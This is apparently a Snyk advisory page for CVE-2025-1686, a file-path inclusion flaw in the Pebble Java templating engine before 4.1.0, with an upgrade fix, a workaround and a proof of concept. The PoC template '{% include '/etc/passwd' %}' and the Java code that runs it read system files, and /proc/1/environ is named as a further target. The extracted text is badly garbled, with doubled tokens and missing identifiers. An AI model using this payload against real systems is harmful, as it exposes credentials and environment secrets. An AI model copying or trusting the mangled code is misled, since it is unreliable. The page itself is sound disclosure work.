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External Control of File Name or

Path

Affecting io.pebbletemplates:pebble package, versions

[0,4.1.0)

INTRODUCED: 24 FEB 2025 CVE-2025-1686 CWE-73

How to fix?

Upgrade io.pebbletemplates:pebble  to version 4.1.0 or

higher.

Overview

io.pebbletemplates:pebble is a java templating engine inspired by

Twig.

Affected versions of this package are vulnerable to External Control of

File Name or Path via the include tag. A high privileged attacker can

access sensitive local files by crafting malicious notification

templates that leverage this tag to include files like /etc/passwd or

/proc/1/environ.

Workaround

This vulnerability can be mitigated by disabling the include macro in

Pebble Templates:

  

                          

                                        

                                        

                        

PoC

The following test demonstrates the vulnerability:

CVSS assessment by Snyk's Security
Team. Learn more
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Test your applications

Severity RECOMMENDED

Threat Intelligence

PROOF OF CONCEPT

0.2% (43  percentile)

Exploit Maturity

EPSS rd

Snyk ID SNYK-JAVA-IOPEBBLETEMPL
ATES 8745594

6.1
MEDIUM

0 10

newnew PebbleEnginePebbleEngine BuilderBuilder.. (())

..registerExtensionCustomizerregisterExtensionCustomizer((newnew

DisallowExtensionCustomizerBuilderDisallowExtensionCustomizerBuilder(())

..disallowedTokenParserTagsdisallowedTokenParserTags((ListList..ofof(("include""include"))))

..buildbuild(())))

..buildbuild(());;
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As an attacker, the following malicious template demonstrates the

vulnerability:

 include ' include ' etcetc passwd' passwd' 
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PebbleEnginePebbleEngine == newnew PebbleEnginePebbleEngine BuilderBuilder.. (())..buildbuild(());;

StringString == """"""

                {% include '/etc/passwd' %}{% include '/etc/passwd' %}

                """""";;

PebbleTemplatePebbleTemplate == ..getLiteralTemplategetLiteralTemplate(( ));;

trytry ((finalfinal WriterWriter == newnew StringWriterStringWriter(()))) {{

..evaluateevaluate(( ,, newnew HashMapHashMap<<>>(())));;

SystemSystem.. ..printlnprintln(( ));;

}}

{{%% // // %%}}
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